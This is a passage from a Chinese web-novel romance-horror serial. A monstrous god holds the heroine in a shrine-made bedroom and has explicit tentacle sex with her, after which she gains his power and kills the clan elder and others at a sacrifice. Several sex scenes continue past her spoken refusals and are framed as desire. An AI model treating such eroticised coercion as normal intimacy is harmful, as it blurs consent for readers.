比起被人类形态的觋楚触碰,被这些冰冷滑腻、如同活物的触肢纠缠,更让她感到灭顶的恐惧和恶心。 觋楚的动作停了下来。 祂垂眼看着楚黎漂亮的眼睛里此刻只剩下纯粹的惊惶。触肢们蠢蠢欲动,只会缠着她,直白表达喜爱。 他沉默地看了她几秒。 躁动的触肢们倏地一顿,然后如同潮水般迅速退去,从她的腿弯、腰肢、脚踝上撤离,悄无声息地缩回浓稠的黑暗中,消失不见。只留下皮肤上被舔舐过的湿痕,和被勒出的浅淡红印。 禁锢着楚黎腰肢和大腿的力量消失。 她双腿一软,全靠被觋楚扣住的手腕和压在大门上的后背支撑着没摔下去。她剧烈地喘息,惊魂未定地盯着触肢消失的方向,又看向近在咫尺的觋楚,眼中充满了劫后余生的茫然和警惕。 觋楚没有解释,只是松开了扣着她手腕的手,转而握住她的侧腰。另一只手则沿着光滑的脊背向下滑去,将她用力一托。 楚黎的身体瞬间腾空,双腿本能环住了觋楚窄瘦的腰身,才勉强维持平衡。这个姿势让她被迫紧紧贴在了祂身上,皮肤触碰到祂的衣物,冰冷的触感激得身体一颤。 觋楚一只手稳稳地托着她,腾出另一只手,继续触肢刚刚没做完的事。 楚黎瞬间明白了祂的意图,瞳孔收缩:“不行……” 她的抗议淹没在觋楚落下的吻里。这个吻比之前任何一个都要深入和强势,彻底剥夺了她思考的能力。 冰冷的空气涌入,包裹着黑色长裙下的皮肤。 觋楚很清楚人类是一种脆弱的生物,即使喝下祂的血,获得了少许“怪物”的特质,也改变不了脆弱的事实。 因此,在正式开始前,祂充满了耐心。 用唇舌安抚,以严谨的态度,用手指丈量,确认她所能接受的极限。 “唔、唔……!”楚黎脖颈后仰,身体像离水的鱼一样剧烈颤动,生理性泪液打湿睫毛,不停地流淌。 黑暗里的时间被无限拉长。 十万大山深处多夜雨,一场急促大雨伴随着沉闷雷声降下。 隔着厚重大门,楚黎清晰听见了雨声。 “滴答、滴答……” 大约是因为下雨,神祠内的空气变得黏稠潮湿,雨水顺着大门间隙蔓延流淌。 雨水被潜伏在黑暗里的触肢卷走。古怪的嗡鸣声像浪潮,不断起伏。 楚黎几乎抓破了祂肩头的布料,瞳孔难以聚焦,眼眶不断盛满泪水又簌簌掉落,与雨水难分彼此地混在一起。 觋楚的唇终于离开了她的,抵着她的额头。 深不见底的眼眸里翻涌着浓稠到化不开的贪欲与饥饿,祂紧盯着她盈满泪水和恐惧的眼睛,声音低哑: “看着我,黎黎。” 又是一声闷雷,雨声似乎凝滞了片刻。 话音落下,楚黎瞬间攥紧了祂的肩,像一条被抛上岸的鱼,徒劳张开嘴,连呼吸都停滞了。 后背紧贴门板,温度冰冷。 觋楚的唇再次压下,将变调的呜咽吞入腹中。祂发出一声模糊的、餍足的喟叹,另一只手顺着她的脊背轻抚。 饥饿感得到短暂满足,黑暗中的触肢悉悉索索,狂舞着翻涌。 […&#不够……#%?*…] 它们嗡鸣着,发出奇特含混的呓语。 怪物的天性是掠夺,祂压制住本能,停留在原地。 祂在等待。 时间在黑暗与断断续续的呼吸声中缓慢流逝。 楚黎的身体僵硬得像石头。但渐渐地,那种怪异的不适,似乎在觋楚刻意的静止中,一点点钝化、麻木。 就在她紧绷的神经稍稍放松时,祂终于动了。 身后一空,眼前的黑暗像漩涡般旋转,楚黎被环抱着往后跌,跌进了柔软的床铺。 “啪。”一盏夜灯亮起。 熟悉的天花板,熟悉的卧室,是她购置的那套复式别墅的卧室。 楚黎不由一怔,还没来得及分辨是梦境还是真实,身前的修长身躯压下。 极其缓慢、试探性地后撤,然后再次向前。 第33章 第三十三章 满溢 滂沱雨幕在玻璃窗留下水痕, 卧室灯光昏暗。 水藻般纠缠的影子铺满了天花板、墙面、以及每一处光线黯淡的角落。 嘈杂雨幕之下,藏着混乱失控的呜咽声。 气息滚烫的唇落了下来。不再是掠夺,而是轻吮着楚黎紧咬的唇瓣, 迫使她松开牙齿。温热的舌尖舔过唇上渗血的齿痕,又探入她口中,耐心地、一遍遍描摹她的舌头和上颚。 这个吻持续了很久。楚黎紧绷的身体在唇舌的交缠和另一处缓慢研磨的力度中, 一点点软了下来。呼吸变得急促,大脑因为缺氧而晕眩。 法式复古小夜灯拥有多彩玻璃灯罩, 光线被分割成斑斓的色彩, 映照在含了水雾、无神睁着的眼睛里。 视线涣散, 灯光成了彩色光斑。 觋楚很有耐心, 也极具观察力,任何微小的、风吹草动的变化都无法瞒过祂。 学得太快也不是一件好事, 至少对楚黎来说不是。 她有一种近乎溺水的窒息感。 思绪恍惚着飘远, 楚黎无端想起了订婚之前的一个午后。 那段时间算是她与觋楚相处最和平的日子,祂沉浸在即将订婚的喜悦里, 而她出于微妙的内疚感, 默许祂的亲近。 那个天气晴好又无聊的午后, 她盘腿坐在沙发上, 翻阅电子相册, 初步筛选订婚时要穿的礼服。 觋楚在为她削水蜜桃, 应季的桃子粉红饱满, 粉白果皮被完整削下, 连成长长一条。 她张口吃下切块桃肉,舌尖不小心扫过祂的手指,头也不抬划照片:“好甜,适合做成蜜桃茉莉鲜奶。” 觋楚平静舔舐指尖, 直到她遗留的气息被完全吞吃。 “好。” 很快,厨房响起“笃笃”声。楚黎挑得眼睛花,扔开平板,倚在厨房门边好奇地观察。 粉白桃肉整齐切块,堆在量杯里,修长冷白的手握着金属料理棒,不断捣弄、碾压,直到桃肉松软,溢出甜津津的汁液。 祂的动作仿佛被丈量过,每一次都如此精准,力度一致。 桃汁倒入楚黎购买的漂亮玻璃杯,兑入冷萃茉莉茶,最后注入鲜牛奶。 奶白液体与桃汁混合,被轻轻摇晃均匀,变成一杯消暑的饮品。 楚黎就着祂的手抿了一口,杯沿的奶渍粘在唇瓣上。 祂问:“好喝吗?” “好喝。” “是吗?” 猩红舌尖卷走奶渍,变成了温存缠绵的吻,然后逐渐深入,掠夺唇齿间残留的甜蜜津液。 窒息感愈发强烈。 楚黎不由抓紧手里的东西,触感冰冷圆润还有点咯手。涣散的视线勉强聚集,她抓住的是觋楚的手腕,以及他腕上的红玉珠串。 床脚沉闷撞在墙面上。 觋楚松开她的唇,楚黎断断续续呼吸,睫毛完全被泪水打湿,唇边溢出一声变调的闷哼。 这一声将她自己都惊到了,瞬间咬紧唇。 一根手指抵入唇瓣,压住齿关不允许咬合。觋楚单手撑在她身侧,见面时的盘扣长袍已经不在了,冰冷逶迤的长发与冷白身躯对比鲜明。 在祂身上,色彩最浓烈的地方是左眼皮上的一枚红痣。 楚黎恍惚了一瞬。 这样看起来,祂有种近乎阴森瑰丽的好看,非人气质浓烈,像只男鬼。 “黎黎,别忍。” 楚黎浑身一颤。这句话像命令,又像奇异的蛊惑。 窗外雨声依然滂沱,却掩盖不住接连不断的木板撞击墙面的声音。 对上那双瞳孔漆黑的眼睛,她好像跌进了深渊。最初的恐惧被这漫长而磨人的占有搅得模糊,取而代之的是一种沉沦的眩晕。 她不可避免想起了那杯桃汁饮品,以及被匀速挤压捣碎的桃肉。 恍惚间,楚黎似乎坠入深海,在她觉得自己快要被海水彻底淹没时,房间寂静下来。 一切起伏都消失了。 觋楚的额头抵着她的,凝视着失神的双眼。祂眼里翻涌的贪欲,浓得化不开,永不满足。 楚黎茫然地看着祂,有些不上不下的,不由挪动了一下。 祂的眼眸瞬间更暗。 房间依然寂静。觋楚抚上她的脸颊,滑过她汗湿的鬓角,沿着颈侧的线条,最终落在心口下的红印处。 祂的指尖点了点那个印记,如同宣告所有权。 “我的。” 窗外雷声阵阵,打破了寂静,雨势骤然急促,雨滴用力拍打玻璃。 外面在狂风骤雨,窗户外有一小块延伸的窗台,以栏杆圈起,那养着一小缸碗莲,几支淡粉花苞半开。 碗莲在风雨里摇晃,雨水噼里啪啦砸在半开花苞上,花瓣逐渐被雨砸开。 莲叶盛不住过多的雨水,倾泻在小缸中。 “觋楚……”楚黎胡乱摇头,脚趾蜷缩起来,声音呜咽含糊。 或许是窗外嘈杂的雨声盖过了她的声音,觋楚置若罔闻,依然我行我素。 红玉珠串在腕骨上缠绕两圈,随着动作碰撞,泠泠响动,好似雨声。 卧室的灯忽然暗下来。 直到冰冷柔软的触感卷住脚腕,楚黎才迟钝意识到,是潜伏在黑暗里的东西爬出来了。 它们游走在间隙里,舔舐窗外渗入的雨水,或细密的汗珠。 “……!”她忽然爆发出一股力量,从觋楚怀中挣开,踉跄爬向床边,急于逃离这个恐怖的地方。 “黎黎。”身后的怪物微叹一声,“你想去哪?” “是不喜欢这里,想换个位置么?” 冰冷手掌握住白皙脚腕,猛地向后拽回。 楚黎后背压上重量,喉咙里挤出一声泣音。 “停……滚开…出去!” 其中一条触肢卷上纤瘦腰腹,顺着小腹微凸弧度,用力向下收束。 混乱无序中,楚黎手指一紧,她勉强睁开眼,看见那枚本该遗落在订婚现场的戒指,牢牢套在中指上。 紧接着,觋楚握住她的手,让她捏着另一只对戒,套入了他的中指。 两只手十指相扣,像是至死不休。 这场雨仿佛永无止境。 楚黎听着不停歇的雨声,感觉自己仿佛被泡在水里,意识也被泡得软烂。 脸上泪痕遍布,脸颊湿凉。她的视线发虚,斑斓的灯光在视野里旋转、变形、拉长,最后只剩下模糊的光晕。意识被这密集而暴戾的感官冲击切割得支离破碎,连对触肢的恐惧都在钝化、消散。 她终于意识到一个恐怖的事实。 对怪物而言,是不存在满足的。 祂永不会餮足。 * 觋楚诞生自遥远的虚无。 祂受人类召唤现身世间,那群人自称“傩”,在神鬼并存的土地上颠沛流离,他们虔诚地供奉祂,献上了所拥有的一切,祈求换取神明垂怜庇护。 漫长的时间令祂感到无趣,于是接受了弱小人类的供奉,并给予了他们一部分自身的力量。 傩师们感恩戴德,聆听神讳后,以“楚”为姓。 只是,人类太过弱小,无法看见祂、凝视祂。 这导致觋楚无法真正降临,只能游离在时间的缝隙中,在祂眼中,这个世界是一团无法看清的混沌。 得到神明庇佑的楚氏傩师日益强大。 开始诞生一部分能短暂直面神明、并与之沟通的人,他们被称为大傩,被族人视作有沟通天地神灵的能力。 强大滋生了他们的野心。 他们开始不满足于百岁终老,想要与神一样漫长的寿命、力量。 楚氏族人花了上千年,经过许多代人的筹谋,付出了险些灭族的代价,终于将所供奉的神明囚于神祠。 然而,寿命与力量都没有得到,只换来了血脉流淌的诅咒。 每代族人注定多病短寿而终。 两败俱伤后,他们已经没有回头路,于是改变策略,试图培养出新的神明。 夺取神明的力量,再以能直面神明本相的族人为载体,养出一位属于楚氏一族的神明。 觋楚冷眼观望他们的野心。 如果不得允许,没有人能承受祂的力量。 楚氏一族正在以不可挽回的趋势衰微,时间对祂来说是最微不足道的,等某一代大傩不够强大,无法支撑神祠的封印时。 那天就是楚氏灭族的日子。 在漫长的等待里,总会有痴心妄想的楚家人,试图讨好欺骗。 他们像蚂蚁一样被碾死在神祠外。 唯一的例外,是那个误入神山的孩子。 她看见了祂。 那一刹那,混沌的世界被勾勒出线条、色彩,完整呈现在觋楚面前。 祂在虚空中垂眼凝视,看见了那双泪汪汪、黑白分明、干净见底的眼睛。 一双不像楚家人的眼睛。 觋楚生出贪欲,想将这双眼睛的主人留在身边。 因此仁慈地延续了她的生命。 可惜祂的仁慈被辜负了,有人当着祂的面,夺走了已经烙下神明印记的所有物。 觋楚被困在阴冷寂静的神祠里。 世界不再是混沌,从前习以为常的漫长时间变得煎熬。祂无法遏制地去想那双眼睛。 祂会再找到她。 永远、永远困在身边。 * 楚黎再次醒来,卧室很安静。窗外仍是雨夜,床头的小夜灯依然亮着。 这个被神明力量构筑出来的空间没有昼夜更替的概念。 她喉咙干涩,试着动了动手指,虚软酸麻的感觉从指尖传递到全身。仿佛身体被彻底揉散后,重新拼装了一次。 什么时候结束的,她记不清楚了。 如果不是觋楚之前喂过她血,改变了她一部分体质,她或许已经没有睁眼的机会了。 “醒了?” 低沉声音在身后响起。楚黎心脏重重一跳,僵硬地转过头。 觋楚就侧躺在她身边,单手支着头。祂维持着人类形态,身上换成了居家睡衣,长发散在身后,左眼皮上的红痣在灯光下像凝固的血珠。 眼神幽暗平静,隐隐有一分餮足,仿佛之前疯狂掠夺的不是祂。 楚黎身体一僵,残留的漫长记忆让她下意识往后退,这一动牵扯全身,腰部和腿间的钝痛清晰无比。 除了钝痛,还有那种被开凿般的恐怖感觉。 仿佛有什么还留在里面没有离开。 一股温热随着她挪动,从残留着怪异感觉的地方流淌。 楚黎的脸色瞬间变了,红白交加,把被子攥出深深褶皱。像是在隐忍什么,浑身都在颤抖。 她努力压下情绪,哑着嗓子开口:“我们之前约定过,我要出去报仇,你会帮我。” “楚氏一族再过百年会式微灭亡。黎黎,你可以在这里等结果。” “什么?”一股寒意从背后升起,楚黎不可置信,“等,百年?” 觋楚表情平静,握住她的手:“黎黎,我并不觉得,你离开以后,会按约定说的,破坏封印永远和我在一起。” “我想了很久,你还是在这里等比较好。” 楚黎大脑嗡一声,她猛地抽出手,反手一甩。 “啪!” 巴掌声回荡在寂静的空间里。 祂维持着不解的表情,脸偏向一侧,眼神依然是平静的。接着转过头,拉过她泛红的手掌,不顾她的挣扎,轻揉了几下。 “为什么?留在这里不好吗?” 第34章 第三十四章 主动 楚黎拼命甩开那只手, 它如铁箍,揉着她发红的手掌,觋楚的眼神像深不见底的寒潭。 祂重复:“留在这里不好吗?” 这句平静的反问比暴怒更让楚黎心寒。 觋楚没把她的反抗当回事。祂笃定她逃不掉, 也笃定她不真心。 进来神祠的时候,离祭礼还有一天。 她不知道外面过了多久,或许祭礼即将开始, 又或许已经开始了。 楚若映背叛本家,被抓住会有什么下场?还有, 包括楚雀伶在内的那几十个旁支, 他们要被献祭。 楚黎心脏发紧, 压下喉咙里的哽咽。她不能被困在这里百年, 眼睁睁看着最后的亲人离世,看着仇人逍遥。 她需要力量, 需要离开这里, 现在就需要! “不好!”楚黎直视那双深似寒潭的眼睛,“一点都不好!我的小姨还在他们手里, 祭礼结束她会死的!还有大傩, 她害死了我父母, 怎么能不付出代价?我一天都等不了, 更别说百年!” 她因激动而发抖, 但眼神异常执拗, 像燃着两簇不肯熄灭的火苗。 楚家人的死活不在觋楚的考虑范围内, 同时也无法理解人类对亲人的执着。 祂的脸上没什么表情:“你出去, 然后呢?再带一群人来杀我,像上次订婚那样?” 这句话让楚黎身体一僵。 “我不会!”她立刻反驳,指甲掐进掌心,“这次不一样!我发誓, 只要我报了仇,救出小姨和那些人,我一定回来。我会想办法破坏封印,回来永远……” 觋楚低笑一声,打断她的话,手掌按在她的心口上,急促的跳动顺着起伏的弧度传递到掌心。 “黎黎,你说的话,连自己都骗不过。” “第一次,你答应送礼道谢,没有来。第二次,你说要赠我礼物,结果和楚家人联手。第三次,你答应订婚,却故意设局。这一次,你主动踏入神祠,说要借力量复仇,成功后解开神祠封印,永远同我在一起。”祂的手从心口移动到纤白脖颈,轻抚暧昧殷红的痕迹,“你说,我该信任你吗?” 祂的每一句话都像重锤砸在楚黎心上。无法反驳,她确实一直在欺骗和利用祂。 楚黎身体微微紧绷,忍受着冰冷手指触碰,拽紧祂的衣角,用含着水雾的眼睛望向祂:“这次是真的……大傩作恶多端,她必须死,可那些无辜的人不该死。” “觋楚……”她的声音放低放柔,带着一丝不易察觉的颤抖,“你帮帮我,让我出去为父母报仇。等做完这些……我……” 后面的话卡在喉咙里,对上祂的视线,莫名有些难以启齿。 积蓄的水雾在眼尾凝成一滴眼泪。 “然后?”觋楚拭去那滴泪,眼神似乎深了一些,挑眉等待下文。 楚黎咬紧下唇,尝到一点血腥味。与祂对视,声音细弱,却清晰地吐了出来:“我就回来。永远留在你身边,你想做什么都……可以。” 最后两个字,说得异常艰难。 卧室里陷入死寂。 窗外的雨声仿佛被隔绝,只剩下楚黎的呼吸声。她心跳如擂,甚至能听见血管里血液奔腾的声音。 觋楚没有立刻回答。目光从楚黎脸上移开,缓缓扫过她汗湿的鬓发,颤抖的睫毛,最后落在她紧抿的、还带着红肿和齿痕的唇瓣上。 眼神像是在审视一件即将到手的、却还需要最后确认的珍宝。 “永远?”祂终于开口,声音低沉缓慢,“黎黎,你的‘永远’,值得信任吗?” 祂的手指顺着楚黎的脖子向上滑,掠过敏感的耳廓,激起一阵鸡皮疙瘩,最后停留在唇上。 “你刚刚才打了我。”指腹轻轻擦过楚黎的唇角,那里还残留着一点血痂,“对我,你总是厌恶、恐惧、想要远离。” “你的承诺手上的戒指一样,”觋楚的目光扫过她中指上的那枚对戒,“看起来很美,但随时可以摘下,可以丢弃。” 祂的语气很平静,像冰锥扎进楚黎的心脏。 觋楚根本不信她。观赏她的挣扎和暂时的屈服,并一眼看穿所有的虚与委蛇。 屈辱和绝望瞬间淹没了楚黎。 “那你要我怎么样?”她近乎崩溃,尾音带着哭腔,“要我怎么做你才肯信,才肯帮我?” 眼泪不受控制地涌上来,模糊了视线,她死死咬着牙,不让它们掉下来。不能完全示弱,太软弱的猎物,会人狩猎者失去兴趣。 挣扎与反抗,是不可缺少的一环。 楚黎掐紧掌心,仰起脸,用盛满泪水的眼睛望着祂。 眼泪是有效的,这是她多次观察后得出的结论。但究竟有多少用,她心里也没有把握。 觋楚抚摸着她的唇,忽然俯下身,冰凉气息近在咫尺。 只要再近一点,他们就会唇齿纠缠。 “证明给我看。”祂不急不缓道,“证明你的‘诚意’,你的‘永远‘……值得我再次信任,在此等待。” 漆黑瞳孔里翻涌着粘稠阴暗的贪欲,毫不遮掩。 这样的距离太近,近到楚黎下意识想往后退,她强行克制住避开的冲动。 楚黎读懂了这个眼神。只有承诺是不够的。 空气变得黏稠沉重。 窗外的雨声又变得清晰起来,淅淅沥沥,敲打着玻璃。 近在咫尺面容有着非人般俊美,左眼皮的红痣如同凝固血珠。觋楚耐心极佳,静默平静地注视着她,并不开口催促。 安静半响,楚黎缓慢抬起手。 手指下的脸庞没有温度,令她不可避免联想到爬行类动物。 指尖细微颤抖,沿着分明的下颌线,缓慢地向上移动,最终停留在那枚殷红的痣上。 觋楚的瞳孔,在楚黎触碰到红痣的瞬间,几不可察地收缩了一下。 如同平静的深渊表面,被投入了一颗石子,荡开了丝丝涟漪。那里面翻涌的黏稠占有欲,变得更加浓郁,更加深不见底。 楚黎握住那只停留在她唇上的手,手指紧贴宽大修长的手掌,并挤入指缝十指相扣。 两枚对戒紧紧依偎。 纤长睫毛颤动,像振翅的蝶,她仰着头,微微向前倾身。 最后一丝距离消失。 温热触感落在觋楚的唇上,祂的喉结滚动了几圈,忍不住握紧了十指相扣的手。 眼前的人紧闭双眼,仰起头,正在柔软生涩地亲吻祂。 她身上穿着纯白睡裙,乌黑长发散落在颈侧、胸前,与那些没有消退的殷红痕迹对比鲜明。 柔软濡湿的舌尖扫过薄唇。 楚黎闭着眼,看不见祂的神情,却清晰感受到对方片刻的僵硬。 正想再进一步时,一只手用力扣住她的后颈,楚黎唇上一痛,下意识睁开眼。 俊美脸庞下异物蠕动,仿佛随时要撕开伪装皮囊,倾泻而出将她完全吞没。 楚黎对上了祂的眼睛。 那完全不是人类会拥有的眼神,冰冷之下隐藏着近乎疯狂的饥饿。 舌尖粗暴顶入,失控般掠夺津液,吮得她舌根发麻。 楚黎的直觉在疯狂叫嚣,提醒她逃离。恐惧感缠绕勒住心脏,她迎着那恐怖的眼神,违背生理性抗拒,轻轻环住了祂的脖颈,闭眼开始回应。 觋楚的动作短暂停了一瞬,紧接着更汹涌地吮吸舔-咬。 卧室忽然暗下来。 滑腻触肢从阴影处游出,卷住楚黎的脚踝。渐渐地,更多触肢爬来,如同抢夺地盘,占据裸-露皮肤。 肺部的空气急速减少,她喘不上气,生理性眼泪溢出。冰冷触感堆积缠绕,她无法控制地发抖,下意识收紧了环住脖子的手。 即使如此,楚黎还是没有避开。 感受着触肢顺着腿根游动,她已经做好了最糟糕的打算。 这个吻毫无征兆地结束了。 阴影似潮水散去,觋楚将楚黎按进怀中,力度大到她腰肢生疼。 祂声音紧绷压抑:“最后一次。黎黎,别再背诺。” 高悬的心“咚”一声回到原处。楚黎几乎头晕目眩,不敢相信眼前的怪物竟然就这样轻易答应了,她分明感受到对方浓重的贪欲。 不过是一个吻。 楚黎一时间恍然,心脏发紧,滋生出某些怪异情绪。 心口下半寸的印记忽然发烫。 一种难以言说的感觉席卷全身,如同脱胎换骨,如同一片树叶瞬间长成参天大树。 一切最细微的动静都无法逃脱她的注视。 觋楚缓缓收回手,抹去她眼尾残留的水光,语气很沉:“三天内没有履约,它们会反噬。” 眼前的场景迅速瓦解消散。 楚黎重新踩在神祠的地面,身上穿着进来时那身盘扣长裙。 “咯吱——” 神祠大门被某种力量强硬撕开,微亮天光随之涌入,还有隐隐的肃穆乐声。 祭礼要开始了。 楚黎一步步走向大门,即将越过高高门槛那刻,她回身看了一眼,觋楚站在浓重的黑暗处,看不清面容与神情。 “我走了。” 声音轻地像山间晨雾,风一吹就散了。 纤瘦身影钻出大门缝隙,彻底消失在觋楚的视线中。 神祠大门轰然闭合。 楚黎仰头望向泛着鸭壳青的天空,身后的神祠恢复了白天里常见的样子,肃穆伫立。 她在里面待了足足一天一夜。 深吸了一口湿冷的空气后,楚黎的视线落在山下。越过杉木林,她“看见”了——衣着神秘古朴的族人,被绑在祭台上的小姨,如羔羊般聚集在祭祀广场的旁支,其中有惶惶不安的楚雀伶…… 该报仇了。 漫长的石阶转瞬走过,楚黎调用着流淌在身体里、陌生强大的力量,如入无人之境,穿过绵延建筑,经过挤满楚氏族人的祭祀广场,直抵大傩所在的祭堂。 祭堂内不止有大傩,还有一位本家族人,是位中年男人。 本该在跪拜奉神的大傩坐在一旁,戴着乌金傩面,繁复厚重的祭服套在干瘦身躯上,声音苍老:“神祠那边没有动静?” 男人有些焦躁不安:“大傩,还是没有动静。没有楚黎,就没有容器,计划怕是不成了,祭礼要继续吗?” 拄拐在地上“笃笃”敲击几下,大傩缓缓开口:“她大约已经死了。祭礼照常进行,你去安排。” 男人不敢反驳,垂首退出祭堂。 大门闭合,只剩大傩在祭堂内。她似乎在沉思,半响没有动作。 忽然,大傩直直望向门口处,拄拐横在身前,傩面后射出锐利目光。 空气无形波动,一道身影仿佛从虚无中走出。 看见那张熟悉的、与记忆重叠的脸,大傩险些以为看见了当年亲手教养的楚若羡。但很快,她反应过来眼前突然出现的人是楚黎。 “你……”她失态站起,苍老的声音扭曲变调,“你继承了神明的力量!” 楚黎微微一笑:“对,我来杀你了。” 第35章 第三十五章 傩面 杀人是什么感觉? 楚黎从未思考过这个问题。 她从不下厨房, 也没有感受过亲手杀死活物的过程。 离“杀死”最近的一次,是小学的时候,学校组织去农学基地春游, 需要学生自己收集食材做饭。 同学们灰头土脸在田里挖红薯、在鱼塘里和鱼搏斗,或漫山遍野追鸡,她被分到最轻松的任务——洗蔬菜。 有个女孩抓到了大鱼, 负责处理食材的同学按不住它,请求楚黎搭把手。 她颤抖着按住滑溜溜的鳞片, 同学举起小木棒朝着鱼头敲下。 “砰——!” 血溅上楚黎的侧脸, 顺着下巴滴落。 温热的, 烫得她皮肤一麻。 因回忆走神的视线慢慢凝聚, 楚黎垂下眼,她手里握着一把漆黑刀刃, 由阴影凝成, 泛着类金属的冰冷光泽。 血液汩汩,顺着捅过心口的刀刃, 浸透握刀的手。 楚黎握得很稳, 一点也没抖。 温热黏腻, 浸湿了每条指缝。 拥有神明的力量后, 杀人变得再容易不过。 “嗬嗬……”大傩脸上的傩面早已遗落在地面, 她攥住刀刃, 眼珠藏在耷拉的皮肉下, 迸射出强烈的求生欲, “不、不,你不能杀我!你与傩神做了交易对不对!我可以帮你……帮你成为新的傩神,让你永远摆脱祂!” 血丝爬上苍老浑浊的眼球,它向外凸起, 装满了癫狂的野心:“楚氏一族被祂诅咒,活不过五十!想想楚若映……你的小姨,还有,还有和你同住的小丫头,你在意她们,你不想帮她们摆脱诅咒?傩神不会放过楚家人,一个都不会……你也姓楚,忍心看着楚家覆灭吗?我筹谋这么多年,都是为了全族!” 楚黎静默看着大傩。 失去傩面,她看起来和普通老人没什么区别,层层叠叠的皱纹占据了整张脸,头发干枯花白,沉重的祭服压在干瘦身躯上。 她忽然开口:“每年被选为神侍的人,没有被送入神祠,对吗?” 大傩的瞳孔一缩。 楚黎自言自语:“他们都成了你续命的养料,所以你能活这么久。你想得到我,是因为需要一个拥有神明力量的傀儡,乖乖为你续命。” 内心的阴暗计划完全被戳穿,大傩的脸色瞬间狰狞,不顾穿透胸口的刀刃,朝地面的拄拐扑去。 干瘦的手握住拄拐,正要敲向地面鱼死网破。 “噗呲!”碗口粗的触肢从大傩背后穿心而过,将她钉死在地面。 殷红逐渐漫开,苍老的面容浸泡在血泊里,装满野心和癫狂的眼睛至死都没闭上。 丝丝缕缕的红线从大傩体内飘起。 楚若映告诉过楚黎,楚氏一族的大傩是继承制。 小傩会毫无保留继承大傩的傩术、记忆。一代又一代的传承,使这份力量积蓄到了恐怖的地步。 只可惜,楚氏一族很久没出过天资佼佼者,哪怕继承也无法完全参透这份传承。 白皙指尖轻触红线。 一种庞大的、冰冷的洪流瞬间淹没楚黎。 无数道声音在脑中嘶喊,或狰狞或模糊的人脸重叠挤压着事业。 无数代大傩的恐惧、谋划、疯狂、残忍的记忆碎片,狂潮般涌向她。有来自遥远先祖的、来自上一任的……更多的是来自脚下这具尸体的。 另一股陌生的力量粗暴地灌入体内,撞得灵魂都在震颤。太多、太庞大,挤得她太阳穴突突乱跳。 如果这具身体没有喝过傩神的血,这个时候恐怕已经被陌生力量撕成了碎片。 几个呼吸后,红线完全没入楚黎体内。 她跪在地面,双手撑地,冷汗一滴滴砸落,目光涣散发颤。 “……” 她是谁? 杂乱的记忆乱闪,楚黎单手捂住太阳穴,中指上冰冷坚硬的事物硌着皮肤,她恍惚张开手,注视那枚铂金戒指。 它如同一个锚点。 “楚黎……”她喃喃自语,“我是楚黎。” 她要为父母报仇,救出小姨,解救那群无辜旁支,并摧毁这个腐朽的家族。 涣散的目光逐渐凝聚,杂乱记忆暂时被归置在一旁。楚黎有意识不去读取,拾起地上的傩面与 红线从她掌心爬出,织成了崭新的、肃穆的祭服。 傩面冰冷坚硬,带着上一任主人未散的体温和血腥气。她抬手抹去侧脸的血,然后稳稳地、沉沉地扣在了自己的脸上。 “咯吱——” 祭堂大门敞开,纤长身影身后阴影蠕动,蚕食一切遗留痕迹。 在祭堂外等候迎接大傩的本家族人眼睛瞪大,不可置信望着陌生的身影,开始窃窃私语。 “这是谁?大傩什么时候定了小傩的人选?” “不对,刚才召叔出来之后,没人进去啊!” “那、那这个人……” 面容肃穆的男人站了出来,厉声质问:“你是谁!敢在这装神弄鬼!” 楚黎透过傩面的眼孔扫了一眼中年男人,在庞杂记忆里迅速翻出关于此人的信息。 楚平,参与当年追捕父母的人之一,深受大傩倚重。 “我是谁……”楚黎迈步,沉重的祭服长袍抚过门槛,“楚氏新任大傩,楚黎。” 一道红线倏地扎入男人后颈。 “啊啊啊——!!” 巫蛊受到召唤,男人如同被抽去全身骨头,在地面翻滚哀嚎,凸起的黑色血管从手背一直爬到脸上。 惨叫持续了不到十秒戛然而止。 他死了。 一股扭曲怪异的快感在心里涌动,楚黎平静扫视神情各异的众人:“还有疑问吗?” 周围死寂一片。 不知是谁先动了,本家族人低垂着头,像一群被唤醒的提线木偶,僵硬退开一条道路。 他们屏息静候大傩经过,然后簇拥着跟在身后。 至于原来大傩的去向,已经无人关心了。 * 黎明过去,天渐渐亮起来。 巨大广场四周耸峙着楚氏本家世代营建的黑色楼宇,像一圈沉默兽类盘踞在山腰。下方是更广阔的盆地,建筑绵延。 广场中央,黑石搭建的祭台遍布岁月痕迹。猩红纹路铺满祭台,那是维系楚家一切傩术法阵的基盘。 祭台面前,数十个少女少男被绳索反绑着,跪在冰冷的石地上。他们有的脸上残留着泪痕,有的眼神呆滞绝望。 楚雀伶的脸就在这些惊恐的面孔中。她脸色惨白,直勾勾地看着从祭堂方向走出来、戴着傩面的楚黎,眼神里全是恐惧。 她根本想不到“楚青玉”会以这种方式出现。 楚黎的视线扫过某处时,脚步一顿,如同被钉在原地。 祭台左侧高处的石柱上,捆着一个人。 头发凌乱地遮住了大半张脸,只露出干裂的的下唇。深色的血痕凝固在她的衣服上,手臂被高高吊起。 两个拿长鞭的人正守在她旁边,眼神冰冷。 “小姨……”傩面后的嘴唇无声蠕动。 恨意如火在烧,越烧越烈。 上千楚家族人,本家的、旁支的,黑压压静立在广场上,无人敢抬头直视戴着染血傩面的新任大傩。 山风吹过,祭台四周的青铜铃晃动起来。 楚黎一步步踏上祭台。 楚氏族人无声地分开道路,在她身后重新合拢,像一片移动的阴影。 祭台上视线极佳,能将一切尽收眼底。风从山涧卷上来,刮得沉重祭服的衣袂猎猎作响,也把那新鲜刺鼻的血腥味吹散。 楚黎站定,没有祭文,没有过往祭礼的开场白。 “楚若映,”她开口,一字一句道,“无罪。” 祭台下静立的人群轻微骚动。 楚雀伶不可置信地抬头,怔怔望着祭台上的身影。 守在楚若映旁边的两个执刑人明显愣了一下。他们不清楚为什么大傩忽然换了人,心中隐隐不安。 其中一个中年男人眉头紧锁,对着楚黎微微躬身,声音强硬且带质疑:“大傩,楚若映妄图破坏祭礼,协助……” “我不喜欢重复第二次。”楚黎的声音不高,却清晰传遍广场。 她抬起手,随意地朝男人的方向一抬一压。 男人仿佛被巨锤狠狠抡中,整个人猛地向上弓起,爆发出尖锐惨叫,随后烂泥般瘫软在地,只剩胸口微弱起伏。 死寂。 广场里上千人死一般的寂静,只有山风猎猎吹拂的声音。 “放人。”楚黎吐出两个字,这次是对着剩下那人。 另一人手里鞭子落地,手忙脚乱地割绳索。楚若映的身体失去了支撑,狼狈向前栽倒。 一双手稳稳扶住她,楚若映被吊了一日,勉强凝聚视线,辨认这道熟悉的身形。 “小姨,对不起,我来晚了。” 游动红线钻入楚若映的皮肤,迅速修补伤口。 听见傩面后传来的声音,楚若映瞳孔震动,喉咙挤出气音:“小黎,你、你……” 